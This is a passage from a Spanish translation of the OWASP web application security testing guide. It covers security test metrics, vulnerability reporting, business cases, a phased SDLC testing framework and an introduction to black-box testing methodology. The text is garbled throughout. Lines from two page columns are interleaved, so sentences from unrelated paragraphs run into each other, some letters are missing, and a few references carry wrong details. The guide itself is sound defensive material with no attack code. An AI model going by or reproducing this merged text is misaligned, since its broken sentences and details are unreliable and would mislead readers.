procedimientos que tengan en cuenta el conocimiento del desarrollador sobre
prerrequisito para el uso de datos de las pruebas de seguridad para procesos de
pruebas de seguridad. Un listado llamado "hoja de trampa de casos de prueba de
análisis de riesgo y gestión. Por ejemplo, una medida como el número total de
seguridad o lista de verificación", por ejemplo, pueden proporcionar casos de
vulnerabilidades encontradas con las pruebas de seguridad podría cuantificar la
prueba simples y atacar vectores que pueden ser utilizados por los evaluadores
postura de seguridad de la aplicación. Estas mediciones también ayudan a
para validar la exposición a vulnerabilidades comunes como el spoofing (burla),
identificar los objetivos de seguridad para pruebas de seguridad de software. Por
divulgaciones de información, saturación de búfer, cadenas de formato,
ejemplo, reducir el número de vulnerabilidades a un número aceptable (mínimo)
inyección de SQL, inyección XSS, XML, SOAP, problemas de estandarización,
antes de que la aplicación sea lanzada a producción.
denegación de servicio y código administrado y los controles ActiveX (por
ejemplo,.NET). Una primera batería de estas pruebas se puede realizar
manualmente con un conocimiento muy básico de seguridad de software.
Otra meta manejable sería comparar la postura de seguridad de la aplicación

contra una línea de base para evaluar mejoras en los procesos de seguridad de la
aplicación. Por ejemplo, la línea base de métricas de seguridad puede ser una
El primer objetivo de las pruebas de seguridad puede ser la validación de un
aplicación que fue probada solamente con pruebas de penetración. Los datos de
conjunto de requisitos mínimos de seguridad. Estos casos de prueba de
seguridad obtenidos de una aplicación que también fue probada durante la
seguridad podrían consistir en forzar manualmente la aplicación al error y
codificación debe mostrar una mejora (p. ej., menor número de vulnerabilidades)
estados excepcionales y recabar conocimientos del comportamiento de la
al comparar con la línea base.
aplicación. Por ejemplo, las vulnerabilidades de inyección SQL se pueden
probar manualmente mediante la inyección de vectores de ataque a través de los
ingresos del usuario y comprobando si las excepciones de SQL son devueltas al
usuario. La evidencia de un error de excepción de SQL podría ser una
En pruebas de software tradicional, el número de defectos de software, tales
manifestación de una vulnerabilidad que puede ser explotada.
como los errores encontrados en una aplicación, podría proporcionar una medida
de la calidad del software. Del mismo modo, las pruebas de seguridad pueden
proporcionar una medida de seguridad de software. Desde el punto de vista de la
gestión de defectos e informes, la calidad del software y las pruebas de seguridad
Un examen más profundo de seguridad puede requerir conocimientos de
pueden utilizar clasificaciones similares y el mismo esfuerzo para ver las causas
técnicas especializadas de análisis y herramientas por parte del evaluador.
principales y remediación de defectos. Desde el punto de vista de la causa
Además del análisis de código fuente y las pruebas de penetración, estas técnicas
principal, un defecto de seguridad puede ser debido a un error en el diseño (por
incluyen, por ejemplo, inyección de fallas del código fuente y binario, análisis de
ejemplo, fallas de seguridad) o debido a un error en la codificación (por ejemplo,
propagación de falla y cobertura de código, pruebas de difusión e ingeniería
errores de seguridad). Desde la perspectiva del esfuerzo requerido para arreglar
inversa. La guía de pruebas de seguridad debe proporcionar procedimientos y
un defecto, tanto los defectos de seguridad como los de calidad, se pueden medir
recomendar herramientas que puedan utilizar los evaluadores de seguridad para
en términos de horas del desarrollador para implementar la solución, las
realizar a fondo estas evaluaciones de seguridad.
herramientas y recursos necesarios para reparar y el costo para implementar la
solución.
El siguiente nivel de pruebas de seguridad después de las pruebas de integración

del sistema es realizar pruebas de seguridad en el entorno de aceptación del
Una característica de los datos de pruebas de seguridad, en comparación con los
usuario. Hay ventajas únicas para realizar pruebas de seguridad en el entorno
datos de calidad, es la clasificación en términos de la amenaza, la exposición de
operativo. El entorno de pruebas de aceptación de usuario (UAT) es el más
la vulnerabilidad y el impacto potencial que implica la vulnerabilidad para
representativo de la configuración de lanzamiento, con la excepción de los datos
determinar el riesgo. Las pruebas de aplicaciones de seguridad consisten en
(por ejemplo, los datos de prueba se utilizan en lugar de los datos reales). Una
gestionar los riesgos técnicos para asegurarse de que las defensas de la
característica de seguridad en la UAT es probar los problemas de configuración
aplicación alcancen niveles aceptables. Por esta razón, los datos de pruebas de
de seguridad. En algunos casos, estas vulnerabilidades podrían representar alto
seguridad deben apoyar la estrategia de riesgo para la seguridad en puntos
riesgo. Por ejemplo, el servidor que aloja la aplicación web podría no estar
críticos de control durante el SDLC.
configurado con privilegios mínimos, certificado SSL válido y configuración
segura, los servicios esenciales desactivados y el directorio web principal no
haber sido limpiado de pruebas y páginas web administrativas.

28
Por ejemplo, las vulnerabilidades encontradas en el código fuente mediante el Los datos de pruebas de seguridad pueden ser absolutos, como el número de
análisis del código fuente representan una medida inicial del riesgo. Una medida vulnerabilidades detectadas durante la revisión de código manual; así como
de riesgo (p. ej., alta, media, baja) de la vulnerabilidad puede calcularse comparativo, como el número de vulnerabilidades detectadas durante las
mediante la determinación de los factores de exposición y probabilidad, revisiones de código comparadas con las pruebas de penetración. Para responder
validando la vulnerabilidad con pruebas de penetración. Las métricas de riesgo a preguntas sobre la calidad del proceso de seguridad, es importante determinar
asociadas a vulnerabilidades encontradas con las pruebas de seguridad dan el una línea base para lo que podría considerarse aceptable y bueno. Los datos de
poder a la gestión de negocio para poder tomar decisiones de riesgo, tales como pruebas de seguridad también pueden apoyar objetivos específicos del análisis
para decidir si los riesgos pueden ser aceptados, mitigados o transferidos a de seguridad. Estos objetivos podrían ser el cumplimiento de las normas de
diferentes niveles dentro de la organización (por ejemplo, de negocios, así como seguridad y estándares de seguridad de la información, los procesos de gestión
los riesgos técnicos). de la seguridad, la identificación de causas principales de seguridad y mejoras en
los procesos y el análisis de costo- beneficio de la seguridad.
Cuando se reportan los datos de las pruebas de seguridad, estos deben

Al evaluar la postura de seguridad de una aplicación, es importante tener en proporcionar métricas que apoyen el análisis. El alcance del análisis es la
cuenta ciertos factores, tales como el tamaño de la aplicación que está siendo interpretación de los datos de prueba para encontrar pistas sobre la seguridad del
desarrollada. Se ha demostrado estadísticamente que el tamaño de la aplicación software en producción, así como la efectividad del proceso.
se relaciona con el número de problemas encontrados en la aplicación durante la
prueba. Una medida del tamaño de la aplicación es el número de líneas de
código (LOC) de la aplicación. Por lo general, los defectos de calidad de
software van desde unos siete a diez defectos por cada mil líneas de código Algunos ejemplos de las pistas sustentadas por datos de prueba de seguridad
nuevo y corregido [21]. Puesto que las pruebas pueden reducir el número total pueden ser:
cerca de un 25% con solo una prueba, es lógico que las aplicaciones de mayor
tamaño sean probadas más a menudo que las aplicaciones de tamaño más
pequeño.
• ¿Se reducen las vulnerabilidades a un nivel aceptable para el lanzamiento?
• ¿Cómo se compara la calidad de la seguridad de este producto con otros

Cuando las pruebas de seguridad se realizan en varias etapas de la SDLC, los productos similares de software?
datos de prueba pueden demostrar la capacidad de las pruebas de seguridad en la
detección de vulnerabilidades en cuanto estas son introducidas. Los datos de • ¿Se están cumpliendo todos los requisitos de pruebas de seguridad?
prueba también pueden probar la eficacia de la eliminación de las
vulnerabilidades mediante la implementación de defensas en diferentes puntos • ¿Cuáles son las causas principales de los problemas de seguridad?
de control de la SDLC. Una medida de este tipo se define también como
"métricas de contención" y proporciona una medida de la capacidad de mantener • ¿ ué tan numerosas son las fallas de seguridad con respecto a los errores de
la seguridad dentro de cada fase del proceso de desarrollo para mantener la seguridad?
seguridad en cada una. Estas métricas de contención también son un factor
crítico para reducir el costo al solucionar las vulnerabilidades. Es menos costoso
hacer frente a vulnerabilidades que se encuentran en la fase misma de la SDLC,
• ¿ ué actividad de seguridad es más eficaz para encontrar vulnerabilidades?
que arreglarlas más adelante en otra fase.
• ¿ ué equipo es más productivo en arreglar defectos de seguridad y

vulnerabilidades?
Las métricas de pruebas de seguridad pueden apoyar la seguridad de riesgos,
• ¿ ué porcentaje del total de vulnerabilidades es de alto riesgo?
costo y gestión de defectos cuando se asocian con objetivos tangibles y a tiempo,
tales como:
• ¿ ué herramientas son más eficaces en la detección de vulnerabilidades de
seguridad?
• reducir el número total de vulnerabilidades en un 30% • ¿ ué tipo de pruebas de seguridad son más eficaces para detectar
vulnerabilidades (por ejemplo, Caja Blanca versus Caja Negra)?
• solución de temas de seguridad en un determinado plazo (por ejemplo, antes
del lanzamiento de la beta) • ¿Cuántos problemas de seguridad se encuentran durante las revisiones de
seguridad del código?
• ¿Cuántos problemas de seguridad se encuentran durante las revisiones de

seguridad del diseño?

29
• La causa principal de los temas de seguridad (por ejemplo, los errores de

seguridad, la falla de seguridad)
Para hacer un juicio coherente utilizando los datos de prueba, es importante tener
una buena comprensión del proceso de pruebas, así como de las herramientas de • La técnica de pruebas utilizada para encontrar el problema
prueba. Se debe adoptar una taxonomía de herramientas para decidir qué
herramientas de seguridad se deben utilizar. Las herramientas de seguridad se • La solución a la vulnerabilidad (por ejemplo, la defensa)
pueden calificar como buenas para encontrar vulnerabilidades comunes
conocidas que apuntan a distintos objetos.
• La clasificación de gravedad de la vulnerabilidad (alta, media, baja o

puntuación CVSS)
La preocupación es que no se analizan los temas de seguridad desconocidos. El
hecho de que se pase una prueba de seguridad no significa que el software o la
aplicación es buena. Algunos estudios [22] han demostrado que, en el mejor de
los casos, las herramientas sólo pueden encontrar el 45% de todas las Describiendo cuál es la amenaza a la seguridad, será posible entender si y por
vulnerabilidades. qué el control de mitigación es ineficaz en la mitigación de la amenaza.
Incluso las más sofisticadas herramientas de automatización no son competencia Informar la causa principal del problema puede ayudar a identificar lo que necesita
para un evaluador de seguridad experimentado. Sólo confiar en los resultados de ser corregido. En el caso de una prueba de Caja Blanca, por ejemplo, la causa de
pruebas exitosas de las herramientas de automatización les dará a los seguridad principal de la vulnerabilidad del software será transgredir el código
profesionales de la seguridad una falsa sensación de seguridad. Por lo general, fuente.
mientras más experimentados son los evaluadores de seguridad en la
metodología de pruebas de seguridad y herramientas de prueba, mejores serán
los resultados de las pruebas de seguridad y análisis. Es importante que los
gerentes que realizan una inversión en herramientas de pruebas de seguridad Una vez que se reportan los problemas, también es importante proporcionar
también consideren una inversión en la contratación de recursos humanos orientación al desarrollador de software para que pueda volver a probar y encontrar
calificados, así como en capacitación para pruebas de seguridad. la vulnerabilidad. Esto podría significar usar una técnica de prueba de Caja Blanca
(por ejemplo, revisión del código de seguridad con un analizador de código
estático) para encontrar si el código es vulnerable. Si se encuentra una
vulnerabilidad a través de una técnica de Caja Negra (prueba de penetración), el
Reporte de requerimientos informe de prueba también debe proporcionar información sobre cómo validar la
exposición de la vulnerabilidad en el extremo delantero (por ejemplo, cliente).
La postura de seguridad de una aplicación puede ser caracterizada desde la
perspectiva del efecto, tal como el número de vulnerabilidades y la calificación
de riesgo de las vulnerabilidades, así como desde la perspectiva de la causa u
origen, tales como problemas de codificación, fallos arquitectónicos y errores de La información acerca de cómo solucionar la vulnerabilidad debe ser detallada
configuración. suficientemente para que un desarrollador pueda implementar una solución. Debe
dar ejemplos de codificación segura, cambios en la configuración y proporcionar
referencias adecuadas.
Las vulnerabilidades pueden clasificarse según diversos criterios. La métrica de

la gravedad de vulnerabilidad más comúnmente utilizada es el Foro de
Respuesta a Incidentes y Equipos de Seguridad (FIRST) Sistema de Puntuación Finalmente, la clasificación de la gravedad contribuye al cálculo de la calificación
de Vulnerabilidad Común (CVSS), que actualmente se encuentra en la versión 2 de riesgo y ayuda a priorizar los esfuerzos de remediación. Por lo general, asignar
con la versión 3, cuyo lanzamiento está previsto para dentro de poco. una calificación de riesgo a la vulnerabilidad involucra el análisis de riesgo externo
basado en factores tales como el impacto y la exposición.
Al reportar datos de prueba de seguridad, la mejor práctica es incluir la siguiente

información: Casos de negocios
Para que las métricas de pruebas de seguridad sean útiles, deben proporcionar valor
a los depositarios o accionistas de los datos de las pruebas de seguridad de la
• La categorización de cada tipo de vulnerabilidad organización. Los accionistas pueden incluir gerentes de proyecto, desarrolladores,
oficinas de seguridad de información, auditores y oficiales principales de
• La amenaza a la seguridad que expone el tema

30
información. El valor puede ir en términos de la rentabilidad que tiene cada [1] T. DeMarco, Controlling Software Projects: Management, Measurement
accionista del proyecto, en términos del rol y la responsabilidad. and Estimation, Yourdon Press, 1982
[2] S. Payne, A Guide to Security Metrics - sans.org
Los desarrolladores de software buscan demostrar, en los datos de pruebas de [3] NIST, The economic impacts of inadequate infrastructure for software
seguridad, que el software está codificado de una manera más segura y eficiente. testing - nist.gov
Esto les permite apoyar el caso para usar herramientas de análisis de código fuente,
así como seguir estándares de codificación y asistir a entrenamientos de seguridad [4] Ross Anderson, Economics and Security Resource Page - cl.cam.ac.uk
de software.
[5] Denis Verdon, Teaching Developers To Fish - OWASP AppSec NYC
2004
Los gerentes de proyecto buscan datos que les permitan administrar y utilizar las [6] Bruce Schneier, Cryptogram Issue #9 - schneier.com
actividades y recursos de las pruebas de seguridad, de acuerdo al plan del proyecto
de seguridad. Para los jefes de proyecto, los datos de las pruebas de la seguridad [7] Symantec, Threat Reports - symantec.com
pueden mostrar los proyectos que están dentro del cronograma, avanzar de acuerdo
al objetivo de las fechas de entrega y mejorar durante las pruebas. [8] FTC, The Gramm-Leach Bliley Act - business.ftc.gov
[9] Senator Peace and Assembly Member Simitian, SB 1386- leginfo.ca.gov
Los datos de pruebas de seguridad también ayudan al caso del negocio cuando la [10] European Union, Directive 96/46/EC on the protection of individuals
iniciativa proviene de agentes de seguridad de la información (ISO). Por ejemplo, with regard to the processing of personal data and on the free movement of
puede proporcionar evidencia de que las pruebas de seguirdad durante el SDLC no such data - ec.europa.eu
afectan la ejecución de los proyectos; más bien reducen la carga de trabajo total
necesaria para atacar vulnerabilidades que se presentarán más adelante en la [11] NIST, Risk management guide for information technology systems -
producción. csrc.nist.gov
[12] SEI, Carnegie Mellon, Operationally Critical Threat, Asset, and

Vulnerability Evaluation (OCTAVE) - cert.org
Para los auditores de cumplimiento, las métricas de pruebas de seguridad
[13] Ken Thompson, Reflections on Trusting Trust, Reprinted from
Communication of the ACM - cm.bell-labs.com
proporcionan un nivel de garantía, seguridad y confianza del software que cumple [14] Gary McGraw, Beyond the Badness-ometer - drdobbs.com
con el estándar, a través de los procesos de revisión de seguridad dentro de la
organización. [15] FFIEC, Authentication in an Internet Banking Environment -
www.ffiec.gov
[16] PCI Security Standards Council, PCI Data Security Standard -

Por último, los oficiales en jefe de la información (CIO) y oficiales en jefe de pcisecuritystandards.org
seguridad de la información (CISO), que son responsables del presupuesto que
debe asignarse en recursos para la seguridad, buscan la derivación de un análisis de [17] MSDN, Cheat Sheet: Web Application Security Frame -
costo - beneficio de los datos de pruebas de seguridad. Esto les permite tomar ¶msdn.microsoft.com
decisiones fundamentadas con respecto a las actividades de seguridad y
herramientas en las que deben invertir. Una de las métricas que respaldan dicho [18] MSDN, Improving Web Application Security, Chapter 2, Threat And
análisis es el retorno sobre la inversión (ROI) en seguridad [23]. Para derivar dichas Countermeasures - msdn.microsoft.com
métricas de los datos de pruebas de seguridad, es importante cuantificar la
diferencia entre el riesgo debido a la exposición de las vulnerabilidades y la [19] Sindre,G. Opdmal A., Capturing Security Requirements Through
efectividad de las pruebas de seguridad en la mitigación de los riesgos de Misuse Cases - folk.uio.no
seguridad, y factorizar esta brecha con el costo de las actividades de pruebas de
seguridad o las herramientas de prueba adoptadas. [20] Improving Security Across the Software Development Lifecycle Task
Force, Referred Data from Caper Johns, Software Assessments,
Benchmarks and Best Practices - criminal-justice-careers.com
Referencias [21] MITRE, Being Explicit About Weaknesses, Slide 30, Coverage of CWE
- cwe.mitre.org

31
[22] Marco Morana, Building Security Into The Software Life Cycle, A Business Case - blackhat.com
El Framework Referencial de Pruebas OWASP
3 Esta sección describe un framework de pruebas típico que puede desarrollarse dentro de una
organización. Puede ser visto como un framework referencial que comprende técnicas y tareas
que son apropiadas en diferentes fases del ciclo de vida de desarrollo del software (SDLC).

32
Resumen su lugar, presentamos un modelo de desarrollo genérico, y el lector debe seguirlo

según el proceso de su empresa.
Esta sección describe un framework de pruebas típico que puede desarrollarse
dentro de una organización. Puede ser visto como un framework referencial que
comprende técnicas y tareas que son apropiadas en diferentes fases del ciclo de
vida de desarrollo del software (SDLC). Las empresas y equipos de proyecto Este framework de pruebas consiste de las siguientes actividades que deben
pueden utilizar este modelo para desarrollar su propio framework de pruebas y ocurrir:
para mirar los servicios de pruebas de los proveedores. Este framework de
pruebas no puede considerarse como prescriptivo, sino como un enfoque flexible
que puede ser extendido y moldeado para adaptarse a los procesos de desarrollo
y cultura de la organización.
• Antes del inicio del desarrollo
Esta sección pretende ayudar a las organizaciones a construir un proceso • Durante la definición y diseño
completo de análisis estratégico y no está dirigida a consultores o contratistas
que tienden a ser más tácticos en las zonas específicas de la prueba. •.Durante el desarrollo
• Durante la implementación
Es fundamental entender por qué se debe crear un framework de pruebas de • Mantenimiento y operaciones
inicio a fin; la respuesta es porque es crucial para evaluar y mejorar la seguridad
del software. En la escritura de código seguro, Howard y LeBlanc cuentan que
emitir un boletín de seguridad le cuesta a Microsoft por lo menos $100.000, y les
cuesta colectivamente a sus clientes mucho más que eso el aplicar los parches de Fase 1: Antes del inicio del desarrollo
seguridad. También observan que el sitio web de delitos informáticos del
Fase 1.1: Defina un SDLC
gobierno de Estados Unidos (http://www.justice.gov/criminal/cybercrime/)
detalla recientes casos criminales y la pérdida de las organizaciones. Las
Antes del inicio del desarrollo de aplicaciones, un SDLC adecuado debe ser
pérdidas comunes superan con creces los USD $100.000.
definido donde la seguridad es inherente en cada etapa.
Con una economía como esta, no es de extrañarse por qué los proveedores de
Fase 1.2: Revise las políticas y estándares
software pasan de realizar únicamente pruebas de seguridad de Caja Negra, que
sólo se puede realizar en las aplicaciones que ya se han desarrollado, a
Asegúrese de que existen adecuadas políticas, estándares y documentación en el
concentrarse en las pruebas en los primeros ciclos del desarrollo de aplicaciones
lugar. La documentación es extremadamente importante ya que da a los equipos las
tales como la definición, diseño y desarrollo.
pautas de desarrollo y las políticas que pueden seguir.
Muchos practicantes de seguridad todavía ven la seguridad en el reino de las

La gente sólo puede hacer lo correcto si sabe lo que es lo correcto.
pruebas de penetración. Como comentamos antes, aunque las pruebas de
penetración tienen un papel que desempeñar, son generalmente ineficaces en
encontrar errores y dependen excesivamente de la habilidad del evaluador. Solo
deben considerarse como técnicas de implementación, o para crear conciencia
Si la aplicación se desarrollara en Java, es esencial que exista un estándar de
sobre problemas de producción. Para mejorar la seguridad de las aplicaciones,
codificación segura de Java. Si la aplicación debe utilizar la criptografía, es
debe mejorarse la calidad de la seguridad del software. Esto significa probar la
esencial que haya un estándar de criptografía. Ninguna política o norma puede
seguridad en las etapas de definición, diseño, desarrollo, implementación y
cubrir cada situación que enfrentará el equipo de desarrollo. Al documentar las
mantenimiento y no depender de la costosa estrategia de esperar hasta que el
cuestiones comunes y predecibles, habrá menos decisiones que necesiten ser
código esté construido completamente.
hechas durante el proceso de desarrollo.
Como comentamos en la introducción de este documento, existen muchas

Fase 1.3: Desarrolle criterios de mediciones y métricas y asegure su
metodologías de desarrollo como el proceso unificado racional, desarrollo ágil y
trazabilidad
extremo y metodologías tradicionales de cascada. La intención de esta guía no es
proponer ni una metodología de desarrollo en particular ni proporcionar Antes de que comience el desarrollo, planifique el plan de medición. Definir los
orientación específica que se adhiere a cualquier metodología en particular. En criterios que deben medirse proporciona visibilidad de los defectos tanto en el
33
proceso como en el producto. Es esencial definir las métricas antes de que Las aplicaciones deben tener una arquitectura y diseño documentados. Esta
comience el desarrollo, ya que puede haber la necesidad de modificar el proceso documentación puede incluir modelos, documentos textuales y otros artefactos
con el fin de capturar los datos. similares. Es esencial probar estos artefactos para asegurar que el diseño y la
arquitectura de la aplicación mantienen el nivel adecuado de seguridad según lo
definido en los requisitos.
Fase 2: Durante la definición y diseño
Fase 2.1: Revise los requisitos de seguridad Identificar fallas de seguridad en la fase de diseño no sólo es uno de los momentos
más eficientes en costo para identificar fallas, sino que puede ser uno de los
Los requisitos de seguridad definen cómo funciona una aplicación desde momentos más eficaces para realizar cambios. Por ejemplo, si se identifica que el
diseño exige autorización para las decisiones en varios lugares, puede ser apropiado
considerar un componente de autorizaciones centralizado. Si la aplicación realiza
una validación de datos en múltiples lugares, puede ser apropiado desarrollar un
una perspectiva de seguridad. Es esencial que los requerimientos de seguridad marco de validación central (es decir, la validación de correcciones en un solo
sean probados. Probar, en este caso, significa verificar los supuestos que se lugar, en vez de cientos de lugares; es mucho más económico).
hacen en los requisitos y las pruebas para ver si hay diferencias en las
definiciones de los requisitos.
Si se descubren debilidades, éstas deben ser entregadas al arquitecto del sistema

para buscar enfoques alternativos.
Por ejemplo, si hay un requisito de seguridad que indica que los usuarios deben
estar registrados antes de que puedan acceder a la sección de documentos de un Fase 2.3: Cree y revise modelos UML
sitio web, ¿esto significa que el usuario debe estar registrado en el sistema o que
el usuario esté autenticado? Asegúrese de que los requerimientos sean muy Una vez que el diseño y la arquitectura estén completos, construya modelos de
claros. Lenguaje de Modelaje Unificado (UML) que describan cómo funciona la
aplicación. En algunos casos, estos ya pueden estar disponibles. Use estos modelos
para confirmar con los diseñadores de sistemas una comprensión exacta de cómo
funciona la aplicación. Si se descubren debilidades, éstas deben ser entregadas al
Al buscar brechas de necesidades, considere mirar los mecanismos de seguridad arquitecto del sistema para buscar enfoques alternativos.
tales como:
Etapa 2.4: Cree y revise modelos de amenazas

• Administración de usuarios
Provisto con la revision del diseño y la arquitectura de los modelos UML, y
• Autenticación habiendo aclarado exactamente cómo funciona el sistema, lleve a cabo un ejercicio
de modelaje de amenazas. Desarrolle escenarios realistas de las amenazas. Analice
• Autorización el diseño y la arquitectura para asegurar que estas amenazas han sido mitigadas,
aceptadas por el negocio o asignadas a una tercera persona, como una empresa de
• Confidencialidad de datos seguros. Cuando las amenazas identificadas no tengan estrategias de mitigación,
revise el diseño y la
• Integridad
• Responsabilidad
arquitectura con el arquitecto de sistemas para modificar el diseño.
• Administración de sesiones
• Seguridad de transporte
Fase 3: Durante el desarrollo
• Segregación de sistema de información en niveles
En teoría, el desarrollo es la aplicación de un diseño. Sin embargo, en el mundo
• Cumplimiento de legislación y estándares (incluidas las normas de privacidad,
real, muchas decisiones de diseño se realizan durante el desarrollo de la
gubernamentales e industria)
codificación. Son, a menudo, decisiones pequeñas que eran demasiado detalladas
para ser descritas en el diseño, o temas donde no se ofrecieron políticas o
estándares de orientación. Si el diseño y la arquitectura no fueran adecuados, el
desarrollador se enfrentará a muchas decisiones. Si hay normas y políticas
Fase 2.2: Revise el diseño y arquitectura
insuficientes, el desarrollador se enfrentará aún a más decisiones.

34
Para más información sobre las listas OWASP, por favor consulte la guía de
OWASP para Seguridad de Aplicaciones Web, o la última edición de la OWASP
Fase 3.1: Camine a través del código Top 10.
El equipo de seguridad debería realizar una "caminata" a través del código con los
desarrolladores y, en algunos casos, los arquitectos del sistema. Una caminata a
través del código es un recorrido de alto nivel a través del código, donde los Fase 4: Durante la fase de implementación
desarrolladores pueden explicar la lógica y el flujo del código implementado. Esta
caminata permite al equipo de revisión de código obtener una comprensión general Fase 4.1: Prueba de aplicación y penetración
del código y permite a los desarrolladores explicar por qué ciertas cosas se
desarrollaron de la manera en que lo hicieron. Habiendo probado los requisitos, analizado el diseño y realizada la revisión de
código, se puede suponer que todos los temas han sido cubiertos. Esperemos que
este sea el caso, pero realizar pruebas de penetración de la aplicación después de
que se ha implementado proporciona una última comprobación para asegurarse
El propósito no es realizar una revisión de código, sino entender en un nivel alto el de que nada se ha escapado.
flujo, el diseño y la estructura del código que compone la aplicación.
Fase 3.2: Revisiones de código
Armado con una buena comprensión de cómo está estructurado el código y por qué
ciertas cosas fueron codificadas de la manera en que lo fueron, el evaluador puede Fase 4.2: Pruebas de gestión de configuración
examinar ahora el código real en busca de defectos de seguridad.
La prueba de penetración de la aplicación debe incluir la comprobación de cómo
la infraestructura fue implementada y asegurada. Aunque la aplicación puede ser
segura, un pequeño aspecto de la configuración podría estar todavía en una fase
Las revisiones de código estático validan el código con una serie de listas de de instalación por defecto y ser vulnerable a la explotación.
verificación, que incluyen:
Fase 5: Mantenimiento y operaciones

• Requerimientos del negocio para la disponibilidad, confidencialidad e integridad.
Fase 5.1: Revisión de la gestión de la conducta operacional
• Guía OWASP o listado Top 10 para exposiciones técnicas (dependiendo de la
profundidad de la revisión). Debe existir un proceso implantado que detalle cómo se maneja tanto la parte
operativa de la aplicación como la infraestructura.
• Cuestiones específicas relacionadas con el lenguaje o el framework utilizado, tales
como el papel Escarlata para el PHP o la lista de Garantía de codificación
Microsoft para ASP.NET.
Etapa 5.2: Realice pruebas de salud de la conducta periódicamente
• Los requisitos específicos de la industria, tales como Sarbanes-Oxley 404,
COPPA, ISO/IEC 27002, APRA, HIPAA, las guías de Visa Merchant u otros Las pruebas de salud de la conducta deben realizarse mensual o trimestralmente,
regímenes normativos. tanto sobre la aplicación como sobre la infraestructura para garantizar que no
hayan aparecido nuevos riesgos de seguridad y que el nivel de seguridad esté
todavía intacto.
En términos del retorno sobre los recursos invertidos (sobre todo tiempo), las
revisiones de código estático producen rendimientos de mayor calidad que
cualquier otro método Etapa 5.3: Garantice la verificación después del cambio
Después de que cada cambio ha sido aprobado y probado en el entorno de

control de calidad e implementado en el entorno de producción, es de vital
de revisión de seguridad y dependen menos en la habilidad del revisor. Sin importancia que el cambio sea comprobado para asegurarse de que el nivel de
embargo, no son una solución milagrosa y necesitan ser consideradas seguridad no ha sido afectado por él . Esto debe estar integrado dentro del
cuidadosamente dentro de un régimen de prueba de amplio espectro. proceso de gestión del cambio.
Un flujo de trabajo de pruebas SDLC típico

35
La siguiente imagen muestra un típico flujo de pruebas de SDLC.
Pruebas de Seguridad de
4 Aplicaciones Web
Las siguientes secciones describen las 12 categorías de la Metodología de
Pruebas de Penetración de una Aplicación Web.

36
Pruebas: Introducción y objetivos • Abierto: cada experto en seguridad puede participar con su experiencia en el
proyecto. Todo es gratis.
Esta sección describe la metodología OWASP de pruebas de seguridad de
aplicaciones web y explica cómo evaluar para encontrar evidencias de • Colaborativo: Se realizan lluvias de ideas antes de que los artículos sean escritos,
vulnerabilidades dentro de la aplicación, debido a las deficiencias de los así el equipo puede compartir ideas y desarrollar una visión colectiva del proyecto.
controles de seguridad identificados. Esto significa un consenso básico, un público más amplio y mayor participación.
¿Qué son las pruebas de seguridad de aplicaciones web? Este enfoque tiende a crear una metodología de pruebas definida que será:
Una prueba de seguridad es un método para evaluar la fiabilidad de un sistema

informático o red mediante una metódica validación y verificación de la
efectividad de los controles de seguridad de la aplicación. Una prueba de
seguridad de aplicaciones web se centra sólo en evaluar la seguridad de una
• Constante
aplicación web. El proceso implica un análisis activo de la aplicación en busca
de deficiencias, fallas técnicas o vulnerabilidades. Cualquier problema de
• Reproducible
seguridad que se encuentre será presentado al propietario del sistema, junto con
una evaluación del impacto y una propuesta de mitigación o una solución
• Rigurosa
técnica.
• Bajo control de calidad
Los problemas que se abordarán están totalmente documentados y probados. Es

¿Qué es una vulnerabilidad?
importante utilizar un método para probar todas las vulnerabilidades conocidas y
documentar todas las actividades de pruebas de seguridad.
Una vulnerabilidad es un defecto o una debilidad en el diseño, implementación,
operación o gestión de un sistema que podría ser explotado para comprometer
los objetivos de seguridad del sistema.
¿Cuál es la metodología de pruebas de OWASP?
Las pruebas de seguridad nunca serán una ciencia exacta donde se puede definir
¿Qué es una amenaza?
una lista completa de todos los temas posibles que deben ser probados. De hecho,
las pruebas de seguridad son sólo una técnica apropiada para probar la seguridad de
Una amenaza es cualquier cosa (un atacante malintencionado externo, un usuario
aplicaciones web bajo ciertas circunstancias. El objetivo de este proyecto es recoger
interno, una inestabilidad del sistema, etc.) que puedan dañar los activos propios
todas las técnicas de pruebas posibles, explicar estas técnicas y mantener la guía
de una aplicación (recursos de valor como los datos en una base de datos o en el
actualizada. El método de pruebas de seguridad de aplicaciones Web OWASP se
sistema de archivos) mediante la explotación de una vulnerabilidad.
basa en el enfoque de Caja Negra. El evaluador no sabe nada o tiene muy poca
información sobre la aplicación a probar.
¿Qué es una prueba?
Una prueba es una acción que permite demostrar que una aplicación cumple con
los requisitos de seguridad de sus grupos de interés.
El Enfoque en la escritura de esta guía
El enfoque de la OWASP es abierto y colaborativo:

37
El modelo de prueba consiste de: El conjunto de pruebas activas se han dividido en 11 categorías para un total de 91
controles:
• Evaluador: uien realiza las actividades de prueba
• Herramientas y metodología: el núcleo de este proyecto de guía de pruebas
• Aplicación: la Caja Negra para la prueba

• Recopilación de información
• Pruebas de gestión de configuración e implementación

La prueba se divide en dos fases:
• Pruebas de gestión de identidad
• Pruebas de autenticación
• Fase 1 Modo pasivo:
• Pruebas de autorización
En el modo pasivo, el evaluador intenta comprender la lógica de la aplicación y
juega con la aplicación. Se pueden utilizar herramientas para la recopilación de • Pruebas de gestión de sesión
información. Por ejemplo, un proxy HTTP puede ser utilizado para observar todas
las solicitudes y respuestas HTTP. Al final de esta fase, el evaluador debe • Pruebas de validación de ingreso
comprender todos los puntos de acceso (puertas) de la aplicación (por ejemplo,
encabezados HTTP, parámetros y cookies). La sección de Recolección de • Manejo de errores
Información explica cómo realizar una prueba de modo pasivo.
• Criptografía
• Pruebas de lógica del negocio

Por ejemplo, el evaluador puede encontrar lo siguiente:
• Pruebas del punto de vista del cliente
https://www.example.com/login/Authentic_Form.html
Pruebas de la recopilación de la información
Entender la configuración implementada del servidor que aloja la aplicación web es

Esto puede indicar una forma de autenticación donde la aplicación solicita un casi tan importante como la aplicación misma de pruebas de seguridad. Después de
nombre de usuario y contraseña. todo, una cadena de aplicaciones sólo es tan fuerte como su eslabón más débil. Las
plataformas de aplicación son amplias y variadas, pero algunos errores clave de
configuración de la plataforma pueden comprometer la aplicación de la misma
manera que una aplicación no segura puede comprometer al servidor.
Los siguientes parámetros representan dos puntos de acceso (puertas) a la
aplicación.
Mediante un motor de búsqueda, realice una búsqueda de

descubrimiento/reconocimiento de fugas de información (OTG-INFO-001)
http://www.example.com/Appx.jsp?a=1&b=1
Resumen
Existen elementos directos e indirectos para el descubrimiento y reconocimiento

En este caso, la aplicación muestra dos puertas (parámetros a y b). Todas las mediante motores de búsqueda. Los métodos directos se refieren a buscar en los
